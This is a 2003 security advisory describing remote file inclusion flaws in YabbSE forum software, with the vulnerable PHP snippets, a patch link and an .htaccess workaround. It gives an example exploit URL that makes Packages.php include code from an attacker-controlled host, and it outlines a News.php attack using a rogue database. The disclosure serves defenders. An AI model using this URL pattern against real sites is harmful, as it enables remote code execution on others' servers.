23th Jan 2003 [SBWID-5946]
COMMAND
YabbSE remote code execution
SYSTEMS AFFECTED
YabbSE versions prior to 1.5.0
PROBLEM
Mindwarper [[email protected]] says :
YabbSE keeps all of it's function includes in a directory called
"Sources" which is not protected. Inside this directory a file called
Packages.php exists. This file is supposed to be included and not
called directly, but if an attacker calls it directly he/she may cause
the script to run remote arbitrary code. Bellow are a couple of the
first lines in Packages.php:
********
..
global $adminplver;
$Packagesphpver="YaBB SE 1.4.1";
$safe_mode = ini_get("safe_mode");
$pacmanver = "1.4.1";
include_once("$sourcedir/Packer.php");
..
********
We can see here that the variable $sourcedir is never defined and
therefore may be defined through global injection.
Example:
http://victim/yabbse/Sources/Packages.php?sourcedir=http://attacker/
where the attacker server has a file called Packer.php. An attacker may
execute remote code on the server with webserver permissions.
Side-note: An attacker may also use this file for XSS attack on the
server.
Update (25 January 2003)
======
Mindwarpe adds :
YabbSE contains a file called News.php which is found in the root
directory. For some unkown reason the vendor did not place this file
inside /Sources even though this file is only intended to be used as an
include. An attacker can combine his own server with the victim in such
way that it would allow him/her to inlcude remote arbitrary code on the
victim's server and run it with webserver permissions.
The attack works as following:
********
..
$dbcon = mysql_connect($db_server,$db_user,$db_passwd);
mysql_select_db ($db_name);
..
********
First of all we can see News.php is trying to connect to the sql
database. We can see that the variables above that contain the database
information are not defined and may be changed by the attacker. If the
attacker installs yabbse on his/her server and allows remote sql
connection, then News.php will think the database has been loaded
successfully and run the following lines:
********
..
if ($template == null)
include("news_template.php");
else
{
if ($ext == null)
include($template.".php");
else
include($template.".".$ext);
}
..
********
Since template is never defined before, the attacker may inject into
$template his/her own remote file. News.php will include the attacker's
code and run it on the server and give the attacker the ability to
execute arbitrary code on the server with webserver permissions.
SOLUTION
Get patch from http://www.yabbse.org
Workaround
==========
As a temporary solution, create a .htaccess file that contains 'Deny
from all'. Place it in the /Sources/ directory and that should block
remote users from accessing it.